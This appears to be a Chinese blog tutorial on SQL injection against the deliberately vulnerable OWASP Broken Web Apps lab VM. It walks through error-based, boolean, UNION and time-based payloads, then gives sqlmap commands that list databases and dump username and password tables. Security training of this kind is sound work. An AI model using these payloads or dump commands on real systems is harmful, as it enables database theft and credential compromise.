在owasp年度top 10 安全問題中,注入高居榜首,SQL注入攻擊指的是通過構建特殊的輸入作為引數傳入Web應用程式, 而這些輸入大都是SQL語法里的一些組合,通過執行SQL陳述句進而執行攻擊者所要的操作,其主要原因是程式沒有細致地 過濾用戶輸入的資料,致使非法資料侵入系統,
- 對于Web應用程式而言,用戶核心資料存盤在資料庫中,例如MySQL、SQL Server、Oracle;
- 通過SQL注入攻擊,可以獲取、修改、洗掉資料庫資訊,并且通過提權來控制Web服務器等其他操作;
- SQL注入即攻擊者通過構造特殊的SQL陳述句,入侵目標系統,致使后臺資料庫泄露資料的程序;
- 因為SQL注入漏洞造成的嚴重危害性,所以常年穩居OWASP TOP10的榜首!
1.實驗說明
目標靶機:OWASP_Broken_Web_Apps_VM_1.2
下載地址
測驗滲透機:Kali-Linux-2018.2-vm-amd64
下載地址
1.SQL注入的危害
1、拖庫導致用戶資料泄漏;
2、危害web等應用的安全;
3、失去作業系統的控制權;
4、用戶資訊被非法買賣;
5、危害企業及國家的安全!
2.注入流程
1. 判斷是否有SQL注入漏洞;
2. 判斷作業系統、資料庫和web應用的型別;
3. 獲取資料庫資訊,包括管理員資訊及拖庫;
4. 加密資訊破解,sqlmap可自動破解;
5. 提升權限,獲得sql-shell、os-shell、登錄應用后臺;
2.手動注入實戰
1.基于錯誤的注入
錯誤注入的思路是通過構造特殊的sql陳述句,根據得到的錯誤資訊,確認sql注入點; 通過資料庫報錯資訊,也可以探測到資料庫的型別和其他有用資訊,
通過輸入單引號,觸發資料庫例外,通過例外日志診斷資料庫型別,例如這里是MySQL資料庫,


SQL注入陳述句決議:
mysql> select first_name,last_name from dvwa.users;
mysql> select first_name,last_name from dvwa.users where user_id='1';
#你輸入1 相當于在最后的兩個單引號中間插入一個1來執行mysql的查詢陳述句
怎么樣判斷我們是否可以注入呢?

會發生頁面報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL注入陳述句決議:
mysql> select first_name,last_name from dvwa.users where user_id='''
這就代表此網站我們可以注入,有注入點,
2.基于布爾的注入
這里面用到的是or,布爾邏輯注入的思路是閉合SQL陳述句,構造or邏輯陳述句、注釋多余的代碼

注入陳述句: ' or 1=1 -- '
原始陳述句:
mysql> select first_name,last_name from dvwa.users where user_id=''
SQL注入陳述句決議: ' or 1=1 -- '
mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' '
說明:
第一個' 用于閉合前面的條件
or 1=1 為真的條件
-- 將注釋后面的所有陳述句
仔細看where user_id=' ' or 1=1 -- ' ' 這個條件陳述句
user_id=' ' 這個陳述句肯定是假的,因為我們的ID是阿拉伯數字,而這里面是空,所以為假
但是1=1 這個陳述句肯定為真 -- ' ' 是注釋的意思,也就說后面的不用管
or 表示有一個條件為真就是真
那總得來說這個where陳述句一定為真
整個陳述句的意思是從dvwa庫的users表里面查詢first_name,last_name兩個欄位的所有內容
3.基于UNION注入
UNION陳述句用于聯合前面的SELECT查詢陳述句,合并查詢更多資訊;
一般通過錯誤和布爾注入確認注入點之后,便開始通過union陳述句來獲取有效資訊,
//猜測資料列數
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '
SQL注入陳述句決議:
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- ''
//union是我們注入常用的方式,里面的1,2,3 代表的是欄位名,union陳述句查詢的時候,前后的
欄位數量必須相同,所以我們可以用數字代表欄位,來猜測union之前的陳述句中有幾個欄位,這里
顯然只有兩個欄位,



你查詢的不一定非要是欄位,也可以是版本,表之類的
//獲得當前資料庫及用戶資訊
'union select version(), database() -- '
'union select user(), database() -- '
//查詢所有庫名
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
#這里面的1 只是一個列的代替,沒有什么含義,但是如果你缺了這個1 前后列數量不一樣會報錯的
//查看所庫中所有表名
'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
//同時查詢表名及對應庫名
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
//查詢資料列
'union select NULL, user from users -- ' 'union select NULL, password from users -- '
'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
因為union前面只有兩個欄位,那我們想要查詢多個欄位怎么辦?
用mysql自帶的函式concat(),如
'union select password, concat(first_name,' ',last_name,' ',user) from users -- '

4.基于時間的盲注
有些資料庫對錯誤資訊做了安全配置,使得無法通過以上方式探測到注入點,此時,通過設定sleep陳述句來探測注入點,
1' and sleep(5) -- '
SQL注入陳述句決議:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''

3.sqlmap自動化注入
SQL注入比較好用的工具,首推開源工具SQLmap,SQLmap是一個國內外著名的安全穩定性測驗工具,可以用來進行自動 化檢測,利用SQL注入漏洞,獲取資料庫服務器的權限,它具有功能強大的檢測引擎,針對各種不同型別資料庫的安全穩 定性測驗的功能選項,包括獲取資料庫中存盤的資料,訪問作業系統檔案甚至可以通過外帶資料連接的方式執行操作系 統命令, SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等資料庫的各種安全漏洞檢測,
1.GET方法注入
打開kali,用戶名root 密碼toor

查看幫助我們發現我們需要獲取到網頁的url



然后我們把該網頁的連接復制下來在kali里面進行測驗
root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"


sqlmap引數決議:
--users #所有用戶
--current-user #當前用戶
--dbs #所有庫
--current-db #當前庫
-D "database_name" --tables #指定庫名
-D "database_name" -T "table_name" --columns #指定庫名和表名
--dump-all #所有的內容
--dump-all --exclude-sysdbs
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
#-C 指定欄位
--batch //自動化完成
示例步驟:
1. 獲得當前資料庫
root@kali:~# sqlmap -u "你自己的url" --batch --current-db
2. 獲得資料庫表
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables
3. 獲得表的欄位
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns
4. 獲得表中的資料
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump
2.POST方法注入
需要帶cookie才能訪問的注入頁面,--cookie=""


root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch

引數跟get獲取的引數一樣,就是post需要用url+cookie
你們的評論和點贊是我寫文章的最大動力,蟹蟹,
轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/107372.html
標籤:Linux
上一篇:好像啟動不了ssh
